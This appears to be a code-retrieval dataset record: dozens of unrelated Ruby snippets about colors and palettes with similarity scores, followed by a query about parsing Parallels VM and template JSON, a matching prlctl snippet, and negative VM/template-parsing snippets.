"def colors_for(i, j)\n mode = :default\n if [i, j] == @cursor\n bg = @board.piece_in_hand.is_a?(NullPiece) ? :yellow : :light_blue\n # mode = :blink\n # elsif @board.piece_in_hand.filter_moves.include?([i,j])\n # bg = :white\n elsif (i + j).odd?\n bg = :white\n bg = :green if highlight && @board.piece_in_hand.filter_moves.include?([i,j])\n elsif (i + j).even?\n bg = :light_white\n bg = :light_green if highlight && @board.piece_in_hand.filter_moves.include?([i,j])\n end\n\n { background: bg, color: :black, mode: mode } #@board[[i, j]].color\n end",
"def add_color\n if !color\n self.color = %w(\n #000000 #0000FF #00FF00 #FF0000 #FFFF00 #9900CC\n #CC0066 #00FFFF #FF00FF #C0C0C0 #00008B #FFD700\n #FFA500 #FF1493 #FF00FF #F0FFFF #EE82EE #D2691E\n #C0C0C0 #A52A2A #9ACD32 #9400D3 #8B008B #8B0000\n #87CEEB #808080 #800080 #008B8B #006400\n ).sample\n end\n end",
"def all_bulbs_same_color(lights, colors, delay)\n lights_group = Huey::Bulb.all\n lights_group.update(hue: colors.sample, sat: 255)\n sleep(delay)\n end",
"def setup_ghost_colors(num, color)\n # Add 10 to each num to create a new number and assign the opacity-altered color values\n opacity = 0.5\n num += 10\n\n Curses.init_color(num, *color.map { |c| ((c * opacity) / 255.0 * 1000).to_i })\n Curses.init_pair(num, num, num)\nend",
"def color_wheel(positions)\n sps = (positions/3.0).ceil # steps per segment\n colors = []\n (0...sps).each do |step|\n colors << Color.new(ramp(sps - step, sps), ramp(step, sps), 0)\n end\n (0...sps).each do |step|\n colors << Color.new(0, ramp(sps - step, sps), ramp(step, sps))\n end\n (0...sps).each do |step|\n colors << Color.new(ramp(step, sps), 0, ramp(sps - step, sps))\n end\n colors\nend",
"def color(color); end",
"def testColorChange\n setDotSelfVariables\n @aColor = Gosu::Color.new( 255, 200, 200, 200 )\n @bColor = Gosu::Color.new( 255, 150, 150, 150 )\n @cColor = Gosu::Color.new( 255, 100, 100, 100 )\n d = Dot.new( 99, 10, 20, @aColor, 5, 0, 2, 50 )\n assert_equal( d.color, @aColor, \"At step 0 expect lit color\" )\n 4.times do d.cycle! end\n assert_equal( d.pulseStep, 4, \"Pulse should be 4 at this point\")\n assert_equal( d.color, @aColor, \"At step 4 still expect lit color\" )\n d.cycle!\n assert_equal( d.color, @bColor, \"At step 6 expect first fade step\" )\n d.cycle!\n assert_equal( d.color, @cColor, \"At step 7 expect second fade step\" )\n 4.times do d.cycle! end\n assert_equal( d.pulseStep, 0, \"Pulse should have wrapped around after 3x2 cycles\") #step 11\n assert_equal( d.color, @aColor ) \n end",
"def add_colors\n\tNcurses.start_color\n\tcolors = %w[RED BLUE GREEN MAGENTA CYAN YELLOW]\n\tcolors.each { |color|\n\t\teval \"Ncurses.init_color( Ncurses::COLOR_#{color}, #{rand(0..1000)}, #{rand(0..1000)}, #{rand(0..1000)} )\"\n\t}\n\t#Ncurses.init_pair( PAIR_NUMBER, BORDER_LINE_COLOR, BORDER_COLOR)\n\trandom_color = eval \"Ncurses::COLOR_#{colors.sample}\"\n\tNcurses.init_pair(2, random_color, Ncurses::COLOR_RED)\n\tNcurses.init_pair(3, random_color, Ncurses::COLOR_BLUE)\n\tNcurses.init_pair(4, random_color, Ncurses::COLOR_GREEN)\n\tNcurses.init_pair(5, random_color, Ncurses::COLOR_MAGENTA)\n\tNcurses.init_pair(6, random_color, Ncurses::COLOR_CYAN)\n\tNcurses.init_pair(7, random_color, Ncurses::COLOR_YELLOW)\nend",
"def print_colors\n 1.upto(COLORS.size) { |i| print \"#{i} = \" + \" \".color(COLORS[i]) + \" \" }\n print \": \"\nend",
"def color(*values); end",
"def color(*values); end",
"def setup_pieces\n setup_color(:white)\n setup_color(:black)\n end",
"def colors \n color1 = \"blue\"\n color2 = \"red\"\n puts \"I like colors\"\n yield(color1,color2)\n puts \"Colors are neat!\"\nend",
"def iterate_colors(colors)\n # Your code here\n arr = []\n colors.each do |item|\n arr.push(item)\n end\n return arr \nend",
"def get_red_scala n\n colors = []\n r = 255; g = 0; b = 0\n max = 255\n\n # se inicia la escala con el r mas fuerte y se añade g y b por igual cantidad hasta llegar al blanco\n for i in 1..n\n g = b = (i*(max/n)).round\n colors << rgb(r, g, b)\n end\n\n #se entrega la escala de blanco a rojo\n colors.reverse\n end",
"def set_color\n self.color = [\"#7AD8E5\", \"#63b4d1\", \"6da7d3\", \"#7699d4\", \"#816ec4\", \"#8658bc\", \"#602278\", \"#34023C\"].sample\n end",
"def each\r\n if block_given?\r\n @colours.each {|colour| yield colour}\r\n end\r\n end",
"def theme_keynote\n # Colors\n# @blue = '#6886B4'\n# @yellow = '#FDD84E'\n# @green = '#72AE6E'\n# @red = '#D1695E'\n# @purple = '#8A6EAF'\n# @orange = '#EFAA43'\n# @blue_1 = '#86B468'\n# @yellow_1 = '#D84EFD'\n# @green_1 = '#AE6E72'\n# @red_1 = '#695ED1'\n# @purple_1 = '#6EAF8A'\n# @orange_1 = '#AA43EF'\n# @blue_2 = '#B46886'\n# @yellow_2 = '#4EFDD8'\n# @green_2 = '#6E72AE'\n# @red_2 = '#5ED169'\n# @purple_2 = '#AF8A6E'\n# @orange_2 = '#43EFAA'\n# @white = 'white'\n\n unless @@colors\n c_lo = (0..7).to_a\n c_hi = ('B'..'F').to_a\n @@colors = (0..4).collect do |i|\n (1..7).collect {|j|\n '#' + [1,2,4].collect {|k|\n c = (j & k != 0) ? c_hi : c_lo\n\n \"#{c[rand(c.length)]}0\"\n }.join\n }\n end.flatten\n end\n @colors = @@colors\n# @colors = [ @blue, @yellow, @green, @red, @purple, @orange,\n# @blue_1, @yellow_1, @green_1, @red_1, @purple_1, @orange_1,\n# @blue_2, @yellow_2, @green_2, @red_2, @purple_2, @orange_2 ]\n\n self.theme = {\n :colors => @colors,\n :background_colors => ['white', 'white']\n }\n end",
"def render_colour\n \"#{colour}#{yield}\"\n end",
"def lerp_color(*args)\n args.length > 3 ? self.class.lerp_color(*args) : super(*args) \n end",
"def lerp_color(*args)\n args.length > 3 ? self.class.lerp_color(*args) : super(*args)\n end",
"def add_random_color\n seq << COLORS.sample\n end",
"def generate_color_scheme\n if values_bits[Constants::V_Use_of_colors]<=2.5 #No colors \n if values_bits[Constants::V_Type_of_BG]<4.5 and @image_colors[0].get_lightness > Constants::Min_lightness#image as bg\n scheme = 'dark'\n elsif values_bits[Constants::V_Type_of_BG]<4.5 and @image_colors[0].get_lightness < Constants::Min_lightness\n scheme = 'light'\n elsif values_bits[Constants::V_Darkness]<=4.5#Light\n scheme = 'dark'\n elsif values_bits[Constants::V_Darkness]>=4.5#Dark\n scheme = 'light'\n end\n \n if scheme == 'dark'\n @colors[0]=Colour.new(255,255,255)\n @colors[1]=Colour.new\n @colors[2]=Colour.new\n @colors[3]=Colour.new\n @colors[4]=Colour.new(40,40,40)\n @colors[5]=Colour.new(55,55,55)\n @colors[6]=Colour.new(70,70,70)\n @colors[7]=Colour.new\n elsif scheme == 'light'\n @colors[0]=Colour.new\n @colors[1]=Colour.new(255,255,255)\n @colors[2]=Colour.new(255,255,255)\n @colors[3]=Colour.new(255,255,255)\n @colors[4]=Colour.new(240,240,240)\n @colors[5]=Colour.new(235,235,235)\n @colors[6]=Colour.new(230,230,230)\n @colors[7]=Colour.new(255,255,255)\n end\n \n else #Colors\n #Main color (colors[1] - colors[3])\n if values_bits[Constants::V_Main_color]<=2 #Complementary main pic\n @colors[1] = @image_colors[1].get_complementary\n elsif values_bits[Constants::V_Main_color]>2 and values_bits[Constants::V_Main_color]<=5 #Contrast main pic\n @colors[1] = @image_colors[1].get_contrasted\n elsif values_bits[Constants::V_Main_color]>5 and values_bits[Constants::V_Main_color]<=8 #main_pic\n @colors[1] = @image_colors[1]\n else #random\n @colors[1] = Colour.new.get_random_color()\n end\n @colors[2] = colors[1].get_lighter\n @colors[3] = colors[1].get_darker\n \n #Accent colors (colors[4] - colors[6])\n if values_bits[Constants::V_Accent_colors]<=2 #secondary\n accent_colors = @image_colors[2].get_analogous\n @colors[4]=@image_colors[2]\n 2.times do |n|\n @colors[n+5] = accent_colors[n]\n end\n elsif values_bits[Constants::V_Accent_colors]>2 and values_bits[Constants::V_Accent_colors]<=4.5 #triadic\n accent_colors = colors[1].get_triadic\n 3.times do |n|\n @colors[n+4] = accent_colors[n]\n end\n elsif values_bits[Constants::V_Accent_colors]>4.5 and values_bits[Constants::V_Accent_colors]<=8 #analogous\n accent_colors = colors[1].get_analogous\n 3.times do |n|\n @colors[n+4] = accent_colors[n]\n end\n else #complementary\n @colors[4] = colors[1].get_complementary\n accent_colors = colors[4].get_analogous\n 2.times do |n|\n @colors[n+5] = accent_colors[n]\n end\n end\n \n #Background color (colors[0])\n if values_bits[Constants::V_BG_color]<7 #Plain background\n if values_bits[Constants::V_Darkness]>4.5 #Dark design \n @colors[0]=colors[1].get_dark\n else #Light design\n @colors[0]=colors[1].get_pale\n end\n else\n @colors[0]=Colour.new\n end\n \n #Text color (colors[7])\n if values_bits[Constants::V_Type_of_BG]>=4.5 #Contrast with plain background\n if values_bits[Constants::V_Darkness]<4.5 #Light bg\n @colors[7]=Colour.new\n else #Dark bg\n @colors[7]=Colour.new(255,255,255)\n end\n else #Contrast with picture as background\n if @image_colors[0].get_lightness > Constants::Min_lightness\n @colors[7]=Colour.new\n else\n @colors[7]=Colour.new(255,255,255)\n end\n end\n end\n \n @background = @colors[0]\n end",
"def colour_changer(key)\n @@colours = [key]\n end",
"def on_49(_) { fg: fg_color(9) } end",
"def color\n @color ||= COLORS[label.length%COLORS.length].to_sym\n end",
"def print_colors\n 1.upto(6) { |i| print \"#{i} = \" + \"\\u2b24\".color(COLORS[i]) + \" \" }\n print \": \"\nend",
"def cycle\n (@isodd = !@isodd) ? 'even' : 'odd'\n end",
"def change_rainbow_colors\n # Write a solution that corrects the three colors in rainbow_colors, then returns the corrected array\n rainbow_colors = [\n \"yellow\",\n \"default\",\n \"light_cyan\"\n]\n rainbow_colors[0]=\"red\"\n rainbow_colors[1]=\"light_red\"\n rainbow_colors[2]=\"light_yellow\"\n rainbow_colors\nend",
"def create_gradient(colors, width=5)\n pattern = []\n\n for i in 0...(width)\n (width-i).times { pattern.push(colors[0]) }\n (i+1).times { pattern.push(colors[1]) }\n end\n\n for i in 0...(width)\n (i+1).times { pattern.push(colors[2]) }\n (width-i-1).times { pattern.push(colors[1]) }\n end\n\n pattern\nend",
"def color_methods; end",
"def generate_palette_from_active\n begin\n if image_path_for_color_generator && File.exists?(image_path_for_color_generator)\n # find original colors because we don't store them\n @finded_colors = Colorcake.extract_colors(image_path_for_color_generator)\n end\n # store here original colors in right format\n coll = []\n colors.where(active: true).pluck(:id).each do |id|\n color = Color.find(id)\n @finded_colors.first.each do |k, v|\n if v[:search_color_id] == color.search_color_id\n coll << v[:original_color]\n end\n end\n end\n colors_for_palette = coll.inject({}) { |s, o| s.merge(o[0]) }\n generate_palette(colors_for_palette)\n rescue => e\n puts \"#{e.inspect}\"\n errors[:base] << e.message\n end\n end",
"def fast_green_typer(string)\n string.chars.each do |x|\n print x.colorize(@@colours[0])\n sleep(0.003)\n end\n br\n end",
"def one_at_a_time_in_order(lights, colors, delay)\n prev_color = 0\n lights.each_with_index do |light, i|\n if (i-1) >= 0 && lights[i-1].on then\n lights[i-1].update(hue: prev_color)\n end\n if light.on then\n prev_color = light.hue\n light.update(hue: colors.sample, sat: 255)\n sleep(delay)\n end\n if lights[5].on then\n lights[5].update(hue: prev_color)\n sleep(delay)\n end\n end\n end",
"def color_methods\n colors.each do |key|\n next if key == :default\n\n define_method key do\n colorize(:color => key)\n end\n\n define_method \"on_#{key}\" do\n colorize(:background => key)\n end\n end\n end",
"def color_sample(*args, &block)\n send(COLOR_SYMBOLS[0..-2].sample, *args, &block)\n end",
"def set_colour(r,g,b)\n\t\t@colour_r = LoopedArray.new [*r].map {|i| i % 256}\n\t\t@colour_g = LoopedArray.new [*g].map {|i| i % 256}\n\t\t@colour_b = LoopedArray.new [*b].map {|i| i % 256}\n\tend",
"def update_pre_transition_flash\n if @counter % 15 == 0\n col = @viewport.color.red == 0 ? 255 : 0\n @viewport.color.set(col, col, col)\n end\n @viewport.color.alpha = (Math.sin(2 * Math::PI * @counter / 30).abs2.round(2) * 180).to_i\n end",
"def create_colorset()\n colors = {\n '#' => BACKGROUND_COLOR,\n '.' => BACKGROUND_COLOR,\n }\n return colors\nend",
"def nc\n Ncurses::COLOR_PAIR(@id)\n end",
"def colorized?; end",
"def as_red\n @red += 1\n end",
"def setup_easier\n (1...ROWS).each do |row|\n (1...COLUMNS).each do |col|\n set_neighbour_colour(col, row) if rand(-1...COLOR_TABLE.size) == -1\n end\n end\n end",
"def reset_background(colors, moves)\n moves.each do |move|\n (0..7).each do |row|\n (0..7).each do |col|\n @display[row][col].background = colors.shift if move == [row, col]\n end\n end\n end\n end",
"def color; end",
"def color; end",
"def color; end",
"def draw_colors(*colors)\n colors.map { |c| draw_color(c) }\n end",
"def colorChange(couleur)\n @color=couleur\n apply\n end",
"def alternate(color)\n if color == :red\n return :blue\n else\n return :red\n end\nend",
"def closed!\n @color = @@colors[:lightcyan]\n end",
"def list_colors\n color_string = \"\\nThe available colors are \"\n COLORS.each_with_index do |color, index|\n if index%2 == 0\n color_string += \"\\n\"\n end\n color_string += color + \" \"\n end\n puts color_string\n end",
"def red\n colorize(31)\n end",
"def backgroundcolor\n colors = {\n \"#E50914\" => \"#282581\", \"#FF0000\" => \"#0A0D44\", \"#00FF8F\" => \"#0A00A4\", \"#FFF300\" => \"#E80000\", \"#00E8C5\" => \"#5A009C\", \"#FF9E00\" => \"#5A009C\", \"#FFEC00\" => \"#FF00A6\", \"#51FF00\" => \"#7400BF\"}\n color1, color2 = colors.to_a.sample\n session[:color1] = color1\n session[:color2] = color2\n end",
"def end!\n @color = @@colors[:red]\n end",
"def init_colors\n $desc_color = \"#{GREEN}\" # color of description portion\n # color the title based on priority\n $p5color = \"#{BLUE}#{BOLD}\" \n $p4color = \"#{MAGENTA}\" \n $p3color = \"#{CYAN}#{BOLD}\" \n $p2color = \"#{BOLD}\"\n $p1color = \"#{YELLOW}#{ON_RED}\"\n #\n # color for only the type column\n $bugcolor = \"#{BLACK}#{ON_RED}\"\n $enhcolor = \"#{GREEN}\"\n $feacolor = \"#{CYAN}\"\n\n # color for row of started event\n $startedcolor = \"#{STANDOUT}\"\n\n cols = %x[tput colors] rescue 8\n cols = cols.to_i\n if cols >= 256\n $desc_color = \"\\x1b[38;5;236m\" # 256 colors, grey\n $p5color = \"\\x1b[38;5;57m\" # some kinda blue\n $p4color = \"\\x1b[38;5;239m\" # grey. 256 colors\n $p3color = \"\\x1b[38;5;244m\" # grey, 256 colors\n end\n end",
"def display_rainbow(colors)\n puts \"R: #{colors[0]}, O: #{colors[1]}, Y: #{colors[2]}, G: #{colors[3]}, B: #{colors[4]}, I: #{colors[5]}, V: #{colors[6]}\"\nend",
"def display_rainbow(color_lists)\n puts \"R: #{color_lists[0]}, O: #{color_lists[1]}, Y: #{color_lists[2]}, G: #{color_lists[3]}, B: #{color_lists[4]}, I: #{color_lists[5]}, V: #{color_lists[6]}\"\nend",
"def possible_colors\n %w(R G B Y)\n end",
"def colour_graoh(colors, graph)\n graph.nodes.each do |node|\n \n all_neighbouring_colors = []\n \n node.neighbours.each do |neighbour|\n all_neighbouring_colors << neighbour.color if !all_neighbouring_colors.include?(neighbour.color)\n end\n \n colors.each do |color|\n node.color = color if !all_neighbouring_colors.include?(color)\n break\n end\nend",
"def bg_red; use_code(41) end",
"def green\n colorize(32)\n end",
"def display_color_index\n require_color_echo_get\n\n CE.rainbow\n cnt = 134\n @padding = \" \" * 2\n\n header = \"OK, Let me check color index list... :)\"\n mes = CE.rainbow.get(@padding + \"-\" * cnt) + $/\n mes += @padding + \" \" * ((cnt - header.size)/2) + CE.rainbow.get(header) + $/\n mes += CE.rainbow.get(@padding + \"-\" * cnt) + $/\n\n mes += @padding\n 256.times do |i|\n num = i + 1\n mes += CE.fg(\"index#{num}\".intern).get(\"index#{num}\" + \" \" * (4 - num.to_s.size))\n mes += CE.bg(\"index#{num}\".intern).get(\" \" * 5)\n mes += \" \" * 3\n\n if num % 8 == 0\n mes += $/ * 2\n mes += @padding if num != 256\n end\n end\n print mes \n\n exit 0\nend",
"def get_colors(count)\n\t#I throw away the 25th bit, as it is unneeded\n\tcolor = count & 0xffffff\n\tr = color >> 16 & 0xFF\n\tg = color >> 8 & 0xFF\n\tb = color & 0xFF\n\treturn r, g, b\nend",
"def display_rainbow(colors)\n puts \"R: #{colors[4]}, O: #{colors[1]}, Y: #{[5]}, G: #{colors[3]}, B: #{colors[0]}, I: #{colors[2]}, V: #{colors[6]}\"\n puts colors\nend",
"def as_blue\n @blue += 1\n end",
"def change_rainbow_colors\n \n rainbow_colors = [ \"yellow\",\"default\",\"light_cyan\"]\nputs rainbow_colors[0]=\"red\"\nputs rainbow_colors[1]=\"light_red\"\nputs rainbow_colors[2]=\"light_yellow\"\nreturn rainbow_colors\nend",
"def s_generate_palette\n colors_hex = {}\n Color.where(:colorable_id => self.id, :colorable_type => self.class.superclass).each do |color|\n colors_hex['#' + SearchColor.find(color.search_color_id).color] = [color.distance]\n end\n self.palette = Colorcake.create_palette(colors_hex).keys.join(',')\n self.save\n end",
"def background_color(color); end",
"def change_color\n @color = Gosu::Color.rgb(rand * 255, rand * 255, rand * 255)\n end",
"def colorize(* colors)\n buff = []\n colors.each{|color| buff << color_code(color)}\n buff << self << color_code(:off)\n buff.join\n end",
"def recolor(color)\n @color = color\n self\n end",
"def reset_use_color\n @use_color = true\n end",
"def sync_2600_with(color_clock)\n riot.tick if color_clock % 3 == 0\n @graphics.each &:tick\n cpu.tick if color_clock % 3 == 2\n end",
"def generate_code\n a = []\n 4.times do\n a.push(@@COLORS.sample)\n end\n a\n end",
"def load_colors!(name)\n color_theme_from_hash(name).each do |object, color|\n Wasko.send(\"set_#{object}\", color)\n end\n end",
"def cyan; if @options[:colors]; \"\\e[1;36m\" else \"\" end end",
"def build_color_map( key_colors )\n color_map = {}\n\n (key_colors.length - 1).times do |segment|\n cur_index, cur_color = key_colors[segment]\n next_index, next_color = key_colors[segment+1]\n\n (cur_index..next_index).each do |index|\n coefficient = (( index - cur_index ).to_f / ( next_index - cur_index ).to_f)\n color_map[index] = Brewfish::Color.lerp_between( cur_color, next_color, coefficient )\n end\n end\n\n return color_map\n end",
"def assign_game_color count\n case count\n when 0\n return \"transparent\"\n when 6\n return $app_red\n else\n return $app_blue\n end\n end"
] | [
"0.76274145",
"0.71802366",
"0.71802366",
"0.69707036",
"0.6750518",
"0.6687178",
"0.66343486",
"0.66284937",
"0.6518931",
"0.6429232",
"0.6398278",
"0.63675666",
"0.63319075",
"0.625633",
"0.62457186",
"0.6207914",
"0.6201747",
"0.61980814",
"0.61974007",
"0.61866844",
"0.6166235",
"0.61469233",
"0.61237913",
"0.6116156",
"0.6097427",
"0.6082254",
"0.6034617",
"0.6017646",
"0.60119385",
"0.5984292",
"0.59721524",
"0.59721524",
"0.5971899",
"0.5960648",
"0.59487885",
"0.5939152",
"0.5916849",
"0.59154284",
"0.59098274",
"0.5909445",
"0.58906436",
"0.58650184",
"0.5854186",
"0.58306277",
"0.5825501",
"0.58122563",
"0.5809415",
"0.580918",
"0.580917",
"0.5797684",
"0.57900745",
"0.57868",
"0.5742857",
"0.57415444",
"0.5733837",
"0.5730482",
"0.5730215",
"0.5726395",
"0.5716448",
"0.5710153",
"0.5700181",
"0.56965214",
"0.5695686",
"0.5688976",
"0.56712294",
"0.5654728",
"0.5654728",
"0.5654728",
"0.5645808",
"0.5645499",
"0.56235087",
"0.5622804",
"0.56158864",
"0.5612225",
"0.56110513",
"0.55917245",
"0.5590893",
"0.55877477",
"0.55834186",
"0.55815095",
"0.5580227",
"0.5570824",
"0.5567948",
"0.55649215",
"0.55615586",
"0.555683",
"0.55523586",
"0.5524585",
"0.55235076",
"0.55226684",
"0.5521426",
"0.5517519",
"0.55161244",
"0.5509956",
"0.5507046",
"0.550343",
"0.5498277",
"0.5498241",
"0.54939896",
"0.5490139"
] | 0.77058166 | 0 |
Parse the JSON from all VMs and templates. Then return an array of objects (without duplicates) | def read_vms_info
vms_arr = json([]) do
execute_prlctl('list', '--all','--info', '--json')
end
templates_arr = json([]) do
execute_prlctl('list', '--all','--info', '--json', '--template')
end
vms_arr | templates_arr
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_vms\n args = %w[list --all --no-header --json -o name,uuid]\n vms_arr = json { execute_prlctl(*args) }\n templates_arr = json { execute_prlctl(*args, '--template') }\n\n vms = vms_arr | templates_arr\n Hash[vms.map { |i| [i.fetch('name'), i.fetch('uuid')] }]\n end",
"def read_vms_info\n args = %w[list --all --info --no-header --json]\n vms_arr = json { execute_prlctl(*args) }\n templates_arr = json { execute_prlctl(*args, '--template') }\n\n vms_arr | templates_arr\n end",
"def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end",
"def init_vms\n @vms = []\n\n response = @conn.get do |req|\n req.url \"/api/v1/vms\"\n req.headers = rest_headers\n end\n\n @vms = json(response.body)[:vms]\n end",
"def prepare_jsons(instances, jsons)\n recipes = {}\n roles = {}\n ind = 0\n jsons.each do |f|\n buffer = JSON.parse(File.open(f).read)\n unless buffer[\"recipes\"].nil?\n buffer[\"recipes\"].each do |r|\n if recipes[r].nil?\n recipes[r] = [instances[ind][:external_ip]]\n else\n recipes[r] << instances[ind][:external_ip] unless recipes[r].include?(instances[ind][:external_ip])\n end\n end\n end\n unless buffer[\"roles\"].nil?\n buffer[\"roles\"].each do |r|\n if roles[r].nil?\n roles[r] = [instances[ind][:external_ip]]\n else\n roles[r] << instances[ind][:external_ip] unless roles[r].include?(instances[ind][:external_ip])\n end\n end\n end\n ind += 1\n end\n to_store = { \"cloud\" => { \"roles\" => roles, \"recipes\" => recipes }}\n ind = 0\n jsons.each do |f|\n host_specific = { \"name\" => File.basename(f).scan(/(.*).json/).to_s, \"id\" => instances[ind][:id], \"key\" => instances[ind][:key], \"ip\" => instances[ind][:external_ip] }\n to_store[\"cloud\"].merge! host_specific\n buffer = JSON.parse(File.open(f).read)\n if buffer[\"cloud\"].nil?\n buffer.merge! to_store\n else\n buffer[\"cloud\"].merge! to_store[\"cloud\"]\n end\n File.open(File.join(@env_dir, File.basename(f)), 'w') do |out|\n out.write(buffer.to_json)\n end\n ind += 1\n end\n end",
"def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"def templates\n return self.class.get('/templates').parsed_response.map do |template|\n Template.new(template['template_id'], template['name'])\n end\n end",
"def load_vms!\n\t\t\tresult = {}\n\n\t\t\t# Load the VM UUIDs from the local data store\n\t\t\t(local_data[:active] || {}).each do |name, desc|\n\t\t\t\tresult[name.to_sym] = VagrantAWS::VM.find(desc, self, name.to_sym)\n\t\t\tend\n\n\t\t\t# For any VMs which aren't created, create a blank VM instance for\n\t\t\t# them\n\t\t\tall_keys = config.vms\n\t\t\tall_keys = [DEFAULT_VM] if all_keys.empty?\n\t\t\tall_keys.each do |name|\n\t\t\t\tresult[name] = VagrantAWS::VM.new(name, self, config.for_vm(name)) if !result.has_key?(name)\n\t\t\tend\n\n\t\t\tresult\n\t\tend",
"def retrieve_all_template_info\n puts \"Retrieving all template ids and names for #{@primary_username} ...\"\n puts\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n templates = JSON.parse( response.body )\n\n # Create template_id array\n @template_array = Array.new\n\n # Create a template hash w/ name and id for each template found\n templates['templates'].each do |t|\n @template_array.push({:id => t['id'], :name => t['name']})\n end\n\n # Return constructed temmplate array\n return template_array\n end",
"def vboxmanage_list_vms\n vms = Mash.new\n if vbox_host?\n so_cmd = \"VBoxManage list --sorted vms\"\n logger.trace(so_cmd)\n so = shell_out(so_cmd)\n\n if so.exitstatus == 0\n # parse the output\n so.stdout.lines.each do |line|\n case line\n when /^\"(\\S*)\" \\{(\\S*)\\}$/\n name = Regexp.last_match(1)\n uuid = Regexp.last_match(2)\n vms[name] = vboxmanage_vminfo(uuid)\n end\n end\n end\n end\n vms\n rescue Ohai::Exceptions::Exec\n logger.trace(\"Plugin VboxHost: Could not run 'VBoxManage list --sorted vms'. Skipping data\")\n end",
"def virtual_machine_templates\n kubevirt_client.get_virtual_machine_templates(namespace: @namespace)\n end",
"def load_objects\n objects = []\n [@opts[:organization_data], @opts[:ticket_data], @opts[:user_data]]\n .zip(['organization', 'ticket', 'user'])\n .map do |file_paths, object_type|\n file_paths.each do |file_path|\n read_objects = JSON.parse File.read(file_path)\n read_objects.each { |o| o['_type'] = object_type }\n objects.concat read_objects\n end\n end\n return objects\n end",
"def create_backend_machines_from_template(number_of_machines, first_ip, template)\n ret = []\n (0..number_of_machines-1).each do |i|\n ret.push({\n \"hostname\" => template[\"hostname\"] + \"#{i+1}\",\n \"ip\" => template[\"ip\"] + \"#{i+first_ip}\",\n \"box\" => template[\"box\"],\n \"memory\" => template[\"memory\"],\n \"cpus\" => template[\"cpus\"],\n \"ports\" => template[\"ports\"],\n \"ansible_groups\" => template[\"ansible_groups\"]\n })\n end\n return ret\nend",
"def wilds\n [self.to_hash['HOST']['TEMPLATE']['VM']].flatten.compact\n end",
"def parse json; return JSON.parse File.read json end",
"def parse json; return JSON.parse File.read json end",
"def vms\n load! if !loaded?\n @vms ||= load_vms!\n end",
"def get_indexed_vms(dir)\n machine_list = {}\n indexfile = \"#{`echo $HOME`.chomp}/.vagrant.d/data/machine-index/index\"\n File.foreach(indexfile) do |line|\n machineindex = JSON.parse(line)\n machineindex[\"machines\"].each do |machine|\n if dir == machine[1][\"vagrantfile_path\"]\n machine_list[machine[1][\"name\"]] = machine[1][\"extra_data\"][\"box\"][\"name\"]\n end\n end\n end\n return machine_list\nend",
"def find_all_json_in(text)\n PDK::Util::JSONFinder.new(text).objects\n end",
"def templates\n ts = Dir.glob('**/*.json').reject{ |f| f['builds'] }\n ts.reject{ |f| f[/macos|rhel|sles|solaris|windows/] }\n\n b32 = []\n b64 = []\n config['public'].each do |p, vs|\n vs.each do |v, as|\n as.each do |a|\n case a\n when \"i386\", \"i686\"\n b32 << ts.select{ |i| i[/#{p}-#{v}-#{a}/] }\n else\n b64 << ts.select{ |i| i[/#{p}-#{v}-#{a}/] }\n end\n end\n end\n end\n list = b64 + b32\n list.flatten\nend",
"def parse_json content\n json = ActiveSupport::JSON.decode(content)\n\n # validation\n validate json.kind_of?(Array), \"JSON was not an array\"\n\n json.each do |item|\n validate item.kind_of?(Hash), \"JSON was not an array of objects\"\n validate (item.keys.to_set == json.first.keys.to_set),\n \"JSON objects did not have consistent keys\"\n end\n end",
"def get_templates(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n r = @client.post({\n 'action' => 'gettemplate',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n\n templates = []\n JSON.parse(r)['result'].each do |data|\n host_template = ::Centreon::HostTemplate.new\n host_template.id = data['id'].to_i\n host_template.name = data['name']\n templates << host_template\n end\n\n templates\n end",
"def all_instances\n Puppet.debug(\"all_instances - cached instances is: #{cached_instances}\")\n Puppet.debug(\"all_instances - cached instances object id: #{cached_instances.object_id}\")\n # return cache if it has been created, this means that this function will only need\n # to be loaded once, returning all instances that exist of this resource in vsphere\n # then, we can lookup our version by name/id/whatever. This saves a TON of processing\n return cached_instances unless cached_instances.nil?\n\n # Want to return an array of instances\n # each hash should have the same properties as the properties\n # of this \"type\"\n # remember the keys should be symbols, aka :ntp_servers not 'ntp_servers'\n # This is a tracking hash which will contain info about each host and NTP server relationships\n cmd = <<-EOF\n $ntp_servers_hash = @{}\n $hosts = #{powercli_get_online_hosts}\n foreach($h in $hosts) {\n $servers = Get-VMHostNtpServer -VMHost $h\n if ($servers) {\n $ntp_servers_hash[$h.Name] = @($servers)\n } else {\n $ntp_servers_hash[$h.Name] = @()\n }\n }\n $ntp_servers_hash | ConvertTo-Json\n EOF\n\n ntpservers_stdout = powercli_connect_exec(cmd)[:stdout]\n # json parse expects a json string, powershell does not stdout with quotes\n # we might be able to remove this line because powershell exits with a viable ruby array already:\n # [\n # \"time1.dev.encore.tech\",\n # \"time2.dev.encore.tech\"\n # ]\n # what happens if this returns null??\n ntpservers_hash = JSON.parse(ntpservers_stdout)\n\n # create instance hash - this contains info about ONE host at a time\n # the values should match the data \"shape\" (ie have the same fields) as our\n # type.\n # the key, should be the title/namevar so we can do a lookup in our\n # read_instance function\n cached_instances_set({})\n ntpservers_hash.each do |esx_host, ntp_servers_array|\n cached_instances[esx_host] = {\n ensure: :present,\n esx_host: esx_host,\n ntp_servers: ntp_servers_array,\n }\n end\n Puppet.debug(\"all_instances - cached instances is at end: #{cached_instances}\")\n Puppet.debug(\"all_instances - cached instances object_id at end: #{cached_instances.object_id}\")\n cached_instances\n end",
